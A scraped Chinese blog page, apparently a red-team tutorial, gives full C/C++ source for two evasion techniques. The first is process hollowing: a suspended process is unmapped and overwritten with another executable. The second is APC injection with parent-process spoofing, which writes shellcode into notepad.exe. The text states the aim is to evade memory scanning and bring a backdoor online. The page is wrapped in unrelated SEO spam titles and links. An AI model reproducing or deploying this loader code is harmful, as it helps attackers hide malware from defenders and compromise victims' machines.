当前位置: 首页 > news >正文

一般网站服务器吉林长春最新消息

一般网站服务器,吉林长春最新消息,建站工具帝国,手机网站开发专业目录 进程镂空&傀儡进程(主要过内存扫描)代码 傀儡进程演示如何上线上线演示 APC注入&进程欺骗(主要过内存扫描)同步调用与异步调用代码演示 进程镂空&傀儡进程(主要过内存扫描) 进程镂空(Pro…

目录

  • 进程镂空&傀儡进程(主要过内存扫描)
          • 代码
        • 傀儡进程演示
        • 如何上线
        • 上线演示
  • APC注入&进程欺骗(主要过内存扫描)
        • 同步调用与异步调用
        • 代码
        • 演示

进程镂空&傀儡进程(主要过内存扫描)

进程镂空(Process Hollowing)
是一种防御规避的进程注入技术,以红队隐匿技能为主的辅助免杀手法

代码
#include <stdio.h>
#include <Windows.h>typedef NTSTATUS(NTAPI* pNtUnmapViewOfSection)(HANDLE, PVOID);int main(int argc, wchar_t* argv[])
{IN PIMAGE_DOS_HEADER pDosHeaders;IN PIMAGE_NT_HEADERS pNtHeaders;IN PIMAGE_SECTION_HEADER pSectionHeaders;IN PVOID FileImage;IN HANDLE hFile;OUT DWORD FileReadSize;IN DWORD dwFileSize;IN PVOID RemoteImageBase;IN PVOID RemoteProcessMemory;STARTUPINFOA si = { 0 };PROCESS_INFORMATION pi = { 0 };CONTEXT ctx;ctx.ContextFlags = CONTEXT_FULL;si.cb = sizeof(si);char path[] = "HelloWorld.exe";BOOL bRet = CreateProcessA(NULL,(LPSTR)"calc",NULL,NULL,FALSE,CREATE_SUSPENDED,NULL,NULL,&si,&pi);//在本进程获取替换文件的内容hFile = CreateFileA(path, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL);dwFileSize = GetFileSize(hFile, NULL); //获取替换可执行文件的大小FileImage = VirtualAlloc(NULL, dwFileSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);ReadFile(hFile, FileImage, dwFileSize, &FileReadSize, NULL);CloseHandle(hFile);pDosHeaders = (PIMAGE_DOS_HEADER)FileImage;pNtHeaders = (PIMAGE_NT_HEADERS)((LPBYTE)FileImage + pDosHeaders->e_lfanew); //获取NT头GetThreadContext(pi.hThread, &ctx); //获取挂起进程上下文#ifdef _WIN64ReadVirtualMemory(pi.hProcess, (PVOID)(ctx.Rdx + (sizeof(SIZE_T) * 2)), &RemoteImageBase, sizeof(PVOID), NULL);// 从rbx寄存器中获取PEB地址,并从PEB中读取可执行映像的基址
#endif// 从ebx寄存器中获取PEB地址,并从PEB中读取可执行映像的基址
#ifdef _X86_ReadProcessMemory(pi.hProcess, (PVOID)(ctx.Ebx + 8), &RemoteImageBase, sizeof(PVOID), NULL);
#endif//判断文件预期加载地址是否被占用pNtUnmapViewOfSection NtUnmapViewOfSection = (pNtUnmapViewOfSection)GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtUnmapViewOfSection");if ((SIZE_T)RemoteImageBase == pNtHeaders->OptionalHeader.ImageBase){NtUnmapViewOfSection(pi.hProcess, RemoteImageBase); //卸载已存在文件}//为可执行映像分配内存,并写入文件头RemoteProcessMemory = VirtualAllocEx(pi.hProcess, (PVOID)pNtHeaders->OptionalHeader.ImageBase, pNtHeaders->OptionalHeader.SizeOfImage, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);WriteProcessMemory(pi.hProcess, RemoteProcessMemory, FileImage, pNtHeaders->OptionalHeader.SizeOfHeaders, NULL);//逐段写入for (int i = 0; i < pNtHeaders->FileHeader.NumberOfSections; i++){pSectionHeaders = (PIMAGE_SECTION_HEADER)((LPBYTE)FileImage + pDosHeaders->e_lfanew + sizeof(IMAGE_NT_HEADERS) + (i * sizeof(IMAGE_SECTION_HEADER)));WriteProcessMemory(pi.hProcess, (PVOID)((LPBYTE)RemoteProcessMemory + pSectionHeaders->VirtualAddress), (PVOID)((LPBYTE)FileImage + pSectionHeaders->PointerToRawData), pSectionHeaders->SizeOfRawData, NULL);}//将rax寄存器设置为注入软件的入口点
#ifdef _WIN64ctx.Rcx = (SIZE_T)((LPBYTE)RemoteProcessMemory + pNtHeaders->OptionalHeader.AddressOfEntryPoint);WriteProcessMemory(pi.hProcess, (PVOID)(ctx.Rdx + (sizeof(SIZE_T) * 2)), &pNtHeaders->OptionalHeader.ImageBase, sizeof(PVOID), NULL);
#endif//将eax寄存器设置为注入软件的入口点
#ifdef _X86_ctx.Eax = (SIZE_T)((LPBYTE)RemoteProcessMemory + pNtHeaders->OptionalHeader.AddressOfEntryPoint);WriteProcessMemory(pi.hProcess, (PVOID)(ctx.Ebx + (sizeof(SIZE_T) * 2)), &pNtHeaders->OptionalHeader.ImageBase, sizeof(PVOID), NULL);
#endifSetThreadContext(pi.hThread, &ctx); // 设置线程上下文ResumeThread(pi.hThread); // 恢复挂起线程CloseHandle(pi.hThread);CloseHandle(pi.hProcess);return 0;
}

1.创建一个挂起合法进程
2.读取执行代码
3.获取挂起进程上下文与环境信息
4.卸载挂起进程内存
5.写入执行代码
6.恢复挂起进程

傀儡进程演示
  • 将代码生成的程序打开,并用进程监控工具进行监控
    刚打开时会发现存在有这个进程。project1.exe

    然后等一下就发现它不见了。其实是变成了cmd.exe(变成什么进程我们是可以在代码里面控制的)

    控制的代码位置
如何上线
  • 这里有两种上线方式,一直是用后门程序,一种是用后门代码

    后门程序: 将你的后门程序写入代码中,让它去运行,如这里是HelloWorld.exe
    后门代码: 将你的后门代码写在这里
    这里推荐第二种方式(第一种必须要满足 两个程序都要实现免杀才行)
上线演示
  • 先生成一个上线程序
  • 将上线后门改成 HelloWorld.exe 与代码当中一样,和代码程序放在同一个目录
  • 运行 project1.exe,会发现已经上线,且进程里面没有project.exe 只有一个傀儡进程cmd.exe

APC注入&进程欺骗(主要过内存扫描)

APC全称为Asynchronous Procedure Call,叫异步过程调用,
是指函数在特定线程中被异步执行,在操作系统中是并发机制。

同步调用与异步调用

同步调用:
我们需要去烧水,首先我们先去需 要给水壶添水,然后将水壶连接上电之后,然后加热,等水烧开了然后取水,在烧水的等待的时间中,我们不去做任何事情。这就是同步。
异步调用:
就是我们在烧水的等待的过程中去干一些其他的事情,比如玩手机,打扫卫生等等。

流程
1、获取父进程PID
2、获取当前进程权限
3、创建并分配写入内存
4、写入SC并APC进行调用
APC注入 配合进程注入实现父进程欺骗

代码
// Parent spoofing.cpp : 此文件包含 "main" 函数。程序执行将在此处开始并结束。
//
#include <iostream>
#include <windows.h>
#include <TlHelp32.h>
#include <fstream>
using namespace std;
DWORD getParentProcessID()
{HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);PROCESSENTRY32 process = { 0 };process.dwSize = sizeof(process);if (Process32First(snapshot, &process)){do{if (!wcscmp(process.szExeFile, L"explorer.exe")){printf("Find explorer failed!\n");break;}} while (Process32Next(snapshot, &process));}CloseHandle(snapshot);return process.th32ProcessID;
}
int main()
{unsigned char shellCode[] = "你的shellcode";STARTUPINFOEXA sInfoEX;PROCESS_INFORMATION pInfo;SIZE_T sizeT;//打开explorer进程获取当前进程所有权限HANDLE expHandle = OpenProcess(PROCESS_ALL_ACCESS, false, getParentProcessID());//用0填充数组ZeroMemory(&sInfoEX, sizeof(STARTUPINFOEXA));//初始化指定的属性列表,创建进程和线程InitializeProcThreadAttributeList(NULL, 1, 0, &sizeT);//设置进程属性并从堆中分配内存sInfoEX.lpAttributeList = (LPPROC_THREAD_ATTRIBUTE_LIST)HeapAlloc(GetProcessHeap(), 0, sizeT);InitializeProcThreadAttributeList(sInfoEX.lpAttributeList, 1, 0, &sizeT);//更新用于进程和线程创建的属性列表中的指定属性UpdateProcThreadAttribute(sInfoEX.lpAttributeList, 0, PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, &expHandle, sizeof(HANDLE), NULL, NULL);sInfoEX.StartupInfo.cb = sizeof(STARTUPINFOEXA);CreateProcessA("C:\\Windows\\System32\\notepad.exe",NULL,NULL,NULL,TRUE,CREATE_SUSPENDED | CREATE_NO_WINDOW | EXTENDED_STARTUPINFO_PRESENT,NULL,NULL,reinterpret_cast<LPSTARTUPINFOA>(&sInfoEX),&pInfo);//分配内存LPVOID lpBaseAddress = (LPVOID)VirtualAllocEx(pInfo.hProcess, NULL, 0x1000, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);SIZE_T* lpNumberOfBytesWritten = 0;//写入内存BOOL resWPM = WriteProcessMemory(pInfo.hProcess, lpBaseAddress, (LPVOID)shellCode, sizeof(shellCode), lpNumberOfBytesWritten);// APC调用QueueUserAPC((PAPCFUNC)lpBaseAddress, pInfo.hThread, NULL);//启动线程ResumeThread(pInfo.hThread);CloseHandle(pInfo.hThread);return 0;
}
演示
  • 写入shellcode并生成程序
  • 这里我生成的程序是 project3.exe,执行程序,并用进程监控软件进行监控

    执行后会发现直接就是 notepad.exe,并没有像进程镂空那样先显示 Project1.exe 再转换为傀儡进程
http://www.yayakq.cn/news/409145/

相关文章:

  • 贵阳企业免费建站教育网站建站
  • 外汇交易平台网站建设网站开发毕设参考文献
  • 商学院网站建设建议ppt怎么做网站
  • wordpress网站下方重庆百度搜索排名优化
  • 网页设计网站免费中山手机网站建设电话
  • 梅州做网站wlwl洛阳霞光做网站
  • 浙江中联建设集团有限公司网站可以直接打开网站的方法
  • 哪个网站可以做免费商业推广西部域名网
  • 网站维护中 页面美食网站设计模板
  • 网站尺寸自适应定州做网站
  • 最全的数据网站做网站得花多少钱
  • 网站建设分销协议wordpress用来构建什么
  • 兼职做页面的网站编写小程序
  • 有自己网站做淘宝客赚钱专做hip hop音乐的网站
  • 沧州建设局网站重庆优化网站
  • 古玩网站源码姜堰区网站建设
  • 在哪个网站可以免费做广告三亚网站定制
  • 昆明凡科建站公司学淘宝运营去哪里学
  • 搭建网站有费用吗网站一个月
  • 网站所在服务器鲁山网站建设兼职
  • 合肥建网站要多少钱1688官网
  • php做的网站源代码在哪里win8网站源码
  • 湖南省建设工程造价管理协会网站运城市住房和城乡建设局网站
  • 网站跳转到另外一个网站怎么做宁波seo网络推广服务商
  • 网站二级导航制作河南网站建设公司|河南网站建设价格费用
  • 邯郸网站设计招聘网站开发
  • 重庆在百度做个网站多少钱html 网站根目录
  • 网站开发人员的岗位职责端端网站开发
  • 区块链技术做网站国外推广都是怎么推广
  • 能自己做生物实验的网站制作一个网站的步骤